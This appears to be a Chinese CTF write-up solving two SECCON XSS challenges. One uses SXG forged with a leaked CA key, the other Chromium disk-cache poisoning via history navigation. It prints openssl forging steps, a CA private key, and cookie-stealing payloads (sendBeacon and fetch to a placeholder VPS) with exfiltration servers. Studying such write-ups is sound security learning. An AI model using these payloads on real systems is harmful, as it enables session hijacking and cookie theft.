本来不想写了,因为只跟着做了三题,而且都是跟着各位师傅做最后复现了一下。全是我布吉岛的知识,那既然打了那还是写一下吧:D
四道Web题,全是XSS。呃呃呃啊啊。而且都用到了很新的技术,每一题都值得单独写一篇文章。再说吧。
broken-challenge
考点:CA证书泄漏,HTTP/2 SXG + XSS,绕过CORS窃取Cookie
简单看一下题目,给了完整源码和一个入口http://broken-challenge.seccon.games:1337/,访问/hint可以在source里获取根证书的私钥,题目附件里拿到公钥。
打开网页是一个bot,可以填入url,点击REPORT会让bot打开一个puppeteer的chromium,访问指定的url。并且有以下设置:
await context.setCookie({ name: "FLAG", value: flag.value, domain: "hack.the.planet.seccon", path: "/",});好了思路很清晰,源码里没有更多有价值的信息,直接开始分析。首先这个Cookie设置了这个指定的domain,意味着只有这个domain才能访问到这个Cookie。显然,我们需要绕过这个CORS获取到它。不过呢,我们显然无法把这个域名绑定到我们自己的VPS上。这里需要用到一项来自HTTP/2的技术Signed HTTP Exchanges(简称 SXG)。
什么是SXG
比起讲“是什么”,我更倾向于讲它可以干什么。一句话来讲,SXG可以让内容可以被可信地转发,而不失去原始网站的身份。
举个例子,去银行办事情,需要证件齐全,这能够证明你就是你。不过这次,你是代理公司办事情,证明你是你并没有意义,你需要做的是证明你携带的材料确实是这个公司的,并且没有被篡改,是真实有效的。
其实可以把SXG简单地理解为有证书验证的缓存。它本质上是一个被签名的 HTTP 响应包。有了它,浏览器就可以放心的认可这些资源的来源。它实际上是缓存与CDN的结合,有了缓存灵活、离线可用的优势,又有了CDN便于分发的特点。但最根本的目的是,让HTTP请求无需关心是谁发送的,而是关心是谁产生的。它把信任链从连接层搬到了内容层。
SXG由哪些东西组成?
-
目标 URL(request side):这是一个明确写死的url,例如:
https://example.com/index.html,包括 scheme、host、path。 -
HTTP 响应(response side):字面意思,平时的HTTP怎么响应这里就是什么。(请求头一般不在SXG里,这里只包含只有响应)。
-
有效期(integrity window):包含validityUrl、date、expires。很显然,SXG不能永久有效,否则会被无限转发。其有效期通常是几分钟到几天。
-
签名(signature):可以理解,就用网站的私钥签名。与TLS就没啥区别。
-
证书引用(cert-url):SXG本身并不包含完整证书链,而是包含一个
cert-url,指向一个.cbor文件。解析SXG时,浏览器会去请求这个证书包来验证签名。
如何生成SXG?
这也是本题的考点。当然也是非常标准的SXG生成流程。这里会用题目条件进行完整的手动演示。现在我手里只有一对CA证书的公钥和私钥。开始吧。
获取CA证书
有CA证书是本题的关键,也可以说是一种提示吧。
# 由/hint路由泄漏cat > ca.key <<EOF-----BEGIN EC PRIVATE KEY-----MHcCAQEEIDXSM3v5wDSRra/TS/InNmXoVWqm4W/HsWyJ5qzqk0lUoAoGCCqGSM49AwEHoUQDQgAElm1pmadguVhutPv6LdLuQke8b3iTpaGBIdmc5ta9/WLs1GtFV2K5wGUkCtk/c9u1e64FKrqqHva6JMAJFafgOw==-----END EC PRIVATE KEY-----EOF
# 题目附件携带cat > ca.crt <<EOF-----BEGIN CERTIFICATE-----MIIBizCCATCgAwIBAgIUbjrJ6hhsPbR+q3b8T6k3HkFyOEwwCgYIKoZIzj0EAwIwETEPMA0GA1UEAwwGc2VjY29uMB4XDTI1MTEzMDA5MTk1NloXDTM1MTEyODA5MTk1NlowETEPMA0GA1UEAwwGc2VjY29uMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAElm1pmadguVhutPv6LdLuQke8b3iTpaGBIdmc5ta9/WLs1GtFV2K5wGUkCtk/c9u1e64FKrqqHva6JMAJFafgO6NmMGQwHQYDVR0OBBYEFDodm68MB38A8T2XQBNFvbqdm0UNMB8GA1UdIwQYMBaAFDodm68MB38A8T2XQBNFvbqdm0UNMBIGA1UdEwEB/wQIMAYBAf8CAQAwDgYDVR0PAQH/BAQDAgEGMAoGCCqGSM49BAMCA0kAMEYCIQCDgCwjOhKsCL0k3BQMLjpmIRLolYE9hIB9UQB7lEMlJAIhAM3Rujzc1PfYeejf/cZE+KFBUbPgcyNGemJdufTNUF1z-----END CERTIFICATE-----EOF生成证书
接着写一个openssl的配置文件。
cat > sxg.ext <<EOF[req]distinguished_name = req_distinguished_namereq_extensions = v3_req[req_distinguished_name]CN = hack.the.planet.seccon[v3_req]basicConstraints = CA:FALSEkeyUsage = digitalSignature, nonRepudiation, keyEnciphermentextendedKeyUsage = serverAuthsubjectAltName = @alt_names1.3.6.1.4.1.11129.2.1.22 = ASN1:NULL[alt_names]DNS.1 = hack.the.planet.secconIP.1 = 120.26.146.96EOF很复杂,我们拆开来看。(不要复制下面这个,注释会报错)
[req]distinguished_name = req_distinguished_name # 规定证书的“名字字段”,默认设置req_extensions = v3_req # SXG 要求扩展必须在证书里[req_distinguished_name]CN = hack.the.planet.seccon # 证书的Common Name[v3_req]basicConstraints = CA:FALSE # 声明不是CA证书,否则浏览器会直接拒绝keyUsage = digitalSignature, nonRepudiation, keyEncipherment # 默认模版,照抄extendedKeyUsage = serverAuth # SXG只接受 serverAuth,不允许clientAuth、codeSigningsubjectAltName = @alt_names # 在下面定义1.3.6.1.4.1.11129.2.1.22 = ASN1:NULL # SXG的专用OID,浏览器依靠这个判断它是合法的SXG证书[alt_names]DNS.1 = hack.the.planet.seccon # 定义了这个SXG对应的URL,这里我们就是希望伪造成这个URLIP.1 = 120.26.146.96 # 正常来说这里不该写IP,但我需要https投递sxg,复用一下吧接下来一长串命令都是为了生成cbor格式的证书:
# 生成这个站点的私钥,生成 server.keyopenssl ecparam -name prime256v1 -genkey -out server.key
# 生成 CSR(证书签名请求),生成 server.csropenssl req -new -key server.key -out server.csr -subj "/CN=hack.the.planet.seccon" -config sxg.ext
# 伪装CA签发证书 (注意 -sha256 和 -extfile),生成 server.crtopenssl x509 -req -days 90 -in server.csr -CA ca.crt -CAkey ca.key -set_serial 0x1000 -out server.crt -extensions v3_req -extfile sxg.ext -sha256
# 创建OCSP索引文件(证书状态数据库)# V 代表 Valid(未吊销)# 301231235959Z 是 过期时间# 1000 是 序列号,后面打算单开一篇文章详细学一下X.509# /CN=hack.the.planet.seccon 那就字面意思echo -e "V\t301231235959Z\t\t1000\tunknown\t/CN=hack.the.planet.seccon" > index.txt
# 生成生成 OCSP 请求(正常的HTTPS中 由浏览器完成)openssl ocsp -issuer ca.crt -cert server.crt -reqout server.req
# 签署响应 (假装自己是 CA 进行 OCSP 签名)openssl ocsp -index index.txt -rsigner ca.crt -rkey ca.key -CA ca.crt -reqin server.req -respout server.ocsp -ndays 365
# 合并证书链(顺序很重要,先站点证书,再CA证书)cat server.crt ca.crt > chain.pem
# 转换为 CBOR (SXG 专用格式)# 使用下面两条命令安装工具并且临时设置环境变量# go install github.com/WICG/webpackage/go/signedexchange/cmd/gen-certurl@latest# export PATH=$PATH:$(go env GOPATH)/bingen-certurl -pem chain.pem -ocsp server.ocsp > cert.cbor合成SXG包
cat > payload.html <<EOF<!DOCTYPE html><html><body> <h1>SXG Attack</h1> <script> // 这段代码会在 hack.the.planet.seccon 的域下执行 // 记得修改flag接收地址 navigator.sendBeacon("https://VPS:PORT/log?cookie=" + encodeURIComponent(document.cookie)); </script></body></html>EOF
gen-signedexchange \ -uri https://hack.the.planet.seccon/ \ -content payload.html \ -certificate server.crt \ -privateKey server.key \ -certUrl https://VPS:PORT/cert.cbor \ -validityUrl https://hack.the.planet.seccon/resource.validity.1700000000 \ -o exploit.sxg投放SXG
server.cjs
const http2 = require('http2');const fs = require('fs');const url = require('url');
// 读取之前生成的证书const options = { key: fs.readFileSync('server.key'), cert: fs.readFileSync('server.crt'), allowHTTP1: true};
const server = http2.createSecureServer(options, (req, res) => { const path = req.url.split('?')[0]; // 获取路径 console.log(`[Request] ${req.method} ${req.url}`);
// 允许跨域 res.setHeader('Access-Control-Allow-Origin', '*');
if (path === '/exploit.sxg') { // 关键:SXG 的 MIME 类型 res.setHeader('Content-Type', 'application/signed-exchange;v=b3'); res.setHeader('X-Content-Type-Options', 'nosniff'); res.end(fs.readFileSync('exploit.sxg')); } else if (path === '/cert.cbor') { // 关键:证书链的 MIME 类型 res.setHeader('Content-Type', 'application/cert-chain+cbor'); res.end(fs.readFileSync('cert.cbor')); } else if (path === '/log') { // 接收 Cookie const query = url.parse(req.url, true).query; console.log('\n============================='); console.log('🔥 FLAG CAPTURED: ' + query.cookie); console.log('=============================\n'); res.end('ok'); } else { res.statusCode = 404; res.end('Not Found'); }});
server.listen(8443, '0.0.0.0', () => { console.log('[*] Server listening on https://VPS:PORT');});去靶机Admin Bot那里填入https://VPS:PORT/exploit.sxg,点击REPORT,终端日志里会有flag。

framed-xss
考点:磁盘缓存投毒 + initiator绕过 + redirect特性 + XSS
题目介绍
The sandbox makes everything secure.
Challenge: http://framed-xss.seccon.games:3000Admin bot: http://framed-xss.seccon.games:1337容器内网域名是web,flag存在web域名的Cookie里。
访问Challenge网页,有一个输入框,输入html内容后,点击Render,刚刚的网页会渲染在下方的iframe中,同时url变为http://web:3000/?html=<PAYLOAD>。不过render的内容是从http://web:3000/view?html=<PAYLOAD>获取的,这个路由会一模一样地返回<PAYLOAD>,不过/view需要一个特殊的请求头"From-Fetch": "1"(由html添加)。直接访问/view会提示Use fetch(400 BAD REQUEST)。
@app.get("/view")def view(): if not request.headers.get("From-Fetch", ""): return "Use fetch", 400 return request.args.get("html", "")访问Admin bot可以向bot发送一个url,bot会开一个无头chromium访问。所以正常想访问到/view,必须通过challenge页面。不过,考虑到磁盘缓存投毒,一切都不一样了。
在开始之前,先铺一些基础知识。
什么是SameSite
什么是顶级导航(top-level navigation)
在浏览器里,顶级被认为是URL框输入的地址。因此,只有让URL发生改变,才算做是顶级导航。
典型的顶级导航有以下几种:
- 在页面里点一个普通
<a href="https://example.com"> window.location = "https://example.com"- 表单
<form action="...">提交 window.open()打开新 tab(新 tab 的那次加载本身是顶级的)- 用户在地址栏手敲 URL 回车
典型的非顶级导航:
- iframe 自己跳转:
<iframe src=...> - iframe 里
iframe.contentWindow.location = ... - fetch / xhr / img / script 加载资源
什么是显式导航(explicit navigation)
由用户行为或页面脚本明确触发的导航。
这里只给出一个反例:重定向(redirect)不是显式导航。因为它被视作一次导航的中间过程
RFC6265bis?
做题时有注意到这样一个issue,它指出当时对SameSite的定义存在分歧。虽然这不是本题的重点,但有助于深入理解本题的原理。
简单来说,当时并没有一个明确的规范定义重定向是否算为SameSite。随着RFC6265bis的落地,这个问题最终达成了共识。
参考这个issue,先定义一下符号,规定
=>:一次显式导航(用户或脚本触发的顶级导航)
->:HTTP 重定向
A:第一方站点,设置了 SameSite=Strict/Lax 的 cookie
这个issue提到,普遍的认识和浏览器实现存在语意上的偏差
在Safari/FireFox看来,SameSite的核心判断标准是:这个cookie是否是在一次“跨站发起的导航”中被携带的。有点抽象,看下面这两个例子:
A => B => A:(两次独立导航)第二次回到A,是一个跨站发起的顶级导航,按照这个规范,=> A:只发 Lax,不发 Strict
A => B -> A:(中间是 redirect)按照规范,这应该等价于上面那种情况,-> A: 也应该 只发 Lax,不发 Strict
但RFC6265bis规范落地之前的Chromium在:
A => B -> A的时候,-> A: Strict 和 Lax 都会被发送
也就是说,Redirect没有被当作一次新的跨站发起,Chromium将整个过程视作同一导航的延续。这意味着,只要B站点可控,那么再做一次重定向,同样会向A站点发送Strict Cookie。
这个争议随着RFC6265bis的出台最终结束。结果是,Chromium开始遵循更严格的跨站规则。
Chromium缓存机制
为了避免不必要的网络连接,加速网页加载。浏览器通常会使用缓存。回到题目中来,很显然,iframe内是无法执行xss脚本的。我们需要一个xss的注入点。
如果我们能够通过前一个网页去fetch/view?html=<PAYLOAD>,如果这个URL被写入了磁盘缓存,当下一次直接访问/view?html=<PAYLOAD>时,浏览器或许不会检查header,而是直接返回<PAYLOAD>,那么作为一次顶级导航,其中的script可以被执行。
不过想要Chromium使用缓存,不仅要URL一致,更重要的是,需要让浏览器判断此次访问为SameSite。SameSite的判定,是多种数据的综合结果。
我们不难想到,让bot请求我的http://VPS:PORT/exploit.html,在这个顶级的请求里,先用/去fetch,把payload存入缓存,再访问/view,跳过Header检查,执行XSS,窃取Cookie。不过,怎么样才会让浏览器认定两次请求是SameSite呢?
在最近的Chromium中,缓存键新增了一项:initiator,也就是此次连接的发起者。
这意味着,浏览器会记录每一个请求由谁发起。显然,我们的设想里,第一次由http://web:3000/发起,后一次由http://VPS:PORT/exploit.html发起。浏览器不会认可SameSite,自然也不会使用磁盘缓存。
举个例子,我们直接在:3000/的console执行这段js:
// 本地测试所以是http://framed-xss.seccon.games:3000,给bot要换成http://web:3000let BASE_URL = "http://framed-xss.seccon.games:3000";let payload = "<svg/onload=alert(%27gg%27)>";
function exploit(){ win = window.open(`${BASE_URL}/view?html=${payload}`);
setTimeout(() => { win.location = `${BASE_URL}/?html=${payload}`; setTimeout(() => { setTimeout(() => { win.history.go(-1); }, 100); }, 150); }, 350);}
exploit();这个脚本会在顶级窗口打开/view?html=<PAYLOAD>,这里会Use fetch(400 BAD REQUEST)
然后让这个窗口跳转到/?html=<PAYLOAD>,/view => / 是同窗口、同站点、显式顶级导航。这一步会请求有fetch请求头的/view?html=<PAYLOAD>,返回<PAYLOAD>,这个响应会被缓存。
当前历史栈如下:
0: /view?html=<PAYLOAD>1: /?html=<PAYLOAD> ← 当前注意刚刚带fetch的/view?html=<PAYLOAD>并不在历史栈里啊。这时候history.go(-1)回到/view?html=<PAYLOAD>,应用之前的缓存,浏览器不再请求服务器,因此也没有了fetch请求头的验证。这里直接返回了<PAYLOAD>,而且是在顶级窗口,XSS成功触发,并且执行的域刚好是framed-xss.seccon.games(本地演示,对应靶机内的web),可以拿到Cookie。
可以看到,成功弹窗。注意URL,这个地址如果刷新一下,就又会显示Use fetch(400 BAD REQUEST)

这时候我们换一个网页执行这段js,比如本地部署的靶机,环境一模一样,除了执行js的URL是localhost。

失败了,根本没弹窗。确实是磁盘缓存,只不过这个磁盘缓存,缓存的是跳转之后的响应,即Use fetch(400 BAD REQUEST)。分析一下原因,因为此时的initiator为localhost,而/?html=<PAYLOAD>发送的带fetch头的请求的initiator是http://framed-xss.seccon.games:3000。显然这initiator都不一样,浏览器肯定不会判定你这是SameSite,响应为<PAYLOAD>的缓存自然不会使用。
这也是为什么把这段js改写成html,放在vps上,让bot访问http://VPS:PORT/exploit.html,却无法成功XSS的原因。
那有没有办法绕过这个initiator的限制呢?有的兄弟有的,当无头浏览器page.goto()时,initiator会被设置为null
我们来看Chromium源码:
if (initiator.has_value() && is_mainframe_navigation) { const bool is_initiator_cross_site = !net::SchemefulSite::IsSameSite(*initiator, url::Origin::Create(url)); if (is_initiator_cross_site) { is_cross_site_main_frame_navigation_prefix = kCrossSiteMainFrameNavigationPrefix; } }当initiator为null时,Chromium就不会设置cross-site bit。这意味着,缓存将会被使用。
我们来看题目的bot源码:
const page = await context.newPage();await page.goto(url, { timeout: 3_000 });await sleep(5_000);await page.close();题目使用的是puppeteer来控制无头浏览器。这里的page.goto()相当于我们手动输入URl并按下回车。这里有详细的介绍。我们的PoC可以在这个基础上修改。
总结来说:当无头浏览器page.goto(url)时,initiator是null,这会被Chroimum认为是SameSite,再来看一段源码:
// Create a SiteForCookies object from the initiator so that we can reuse// IsFirstPartyWithSchemefulMode().bool same_site_initiator = !initiator || SiteForCookies::FromOrigin(initiator.value()) .IsFirstPartyWithSchemefulMode(request_url, compute_schemefully);而只要通过了这个SameSite检测,那么中间无论发生多少重定向,无论跨域/不跨域,都不会阻止SameSite=Strict的Cookie发送。
if (same_site_initiator) {if (same_site_redirect_chain) { result.context_type = ContextType::SAME_SITE_STRICT; return result;}cross_site_redirect_downgraded_from_strict = true;// If we are not supposed to consider redirect chains, record that the// context result should ultimately be strictly same-site. We cannot// just return early from here because we don't yet know what the context// gets downgraded to, so we can't return with the correct metadata until we// go through the rest of the logic below to determine that.use_strict = !base::FeatureList::IsEnabled( features::kCookieSameSiteConsidersRedirectChain);}很有趣的一点是,检查中间的重定向是否SameSite其实有实现,但作为特性默认关闭:
BASE_FEATURE(kCookieSameSiteConsidersRedirectChain, base::FEATURE_DISABLED_BY_DEFAULT);呃其实有相关issue讨论这个问题,但无论如何这个特性到目前的最新版(143.0.7499.110)仍然默认禁用。
对于这道题目来说,我们可以让bot访问我们的网页,然后CSRF先打开一个新窗口,访问VPS的/redir路由,这个路由会发送307重定向到/?html=<PAYLOAD>,这会发送一个带有fetch头的/view?html=<PAYLOAD>请求,返回为<PAYLOAD>,写入缓存。此时的initiator为web,不过没关系。
接着history.back()回来,这时候会第二次请求我们的VPS的/,这VPS返回一个307重定向到/view?html=<PAYLOAD>,因为是返回历史,initiator是null,被认为是SameSite,直接加载缓存,在定居窗口执行了XSS(这一块暂且存疑)。
这里直接给出可用的PoC:
from flask import *
app = Flask("exp")
REMOTE = "http://web:3000"# 记得把VPS改成你的IPPAYLOAD = "<svg/onload=fetch(`//VPS:8012/?flag=${encodeURIComponent(document.cookie)}`)>"
@app.after_requestdef add_headers(response): # 这里的 "no-store, no-cache" 只是不要缓存exp response.headers["Cache-Control"] = "no-store, no-cache" return response
count = 0@app.get("/")def index(): global count
count += 1
if count == 1: return """<script>const sleep = (ms) => new Promise(r => setTimeout(r, ms));async function exploit() { win = window.open("/redir") await sleep(2000); location = URL.createObjectURL(new Blob([` <script>setTimeout(()=>history.back(),500)<\/script> `], { type: "text/html" }))}exploit();</script>""" if count == 2: return redirect(f"{REMOTE}/view?html={PAYLOAD}", 307)
count = 0 return "wtf"
@app.get("/redir")def redir(): return redirect(f"{REMOTE}/?html={PAYLOAD}", 307)
app.run("0.0.0.0", 8012)如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时









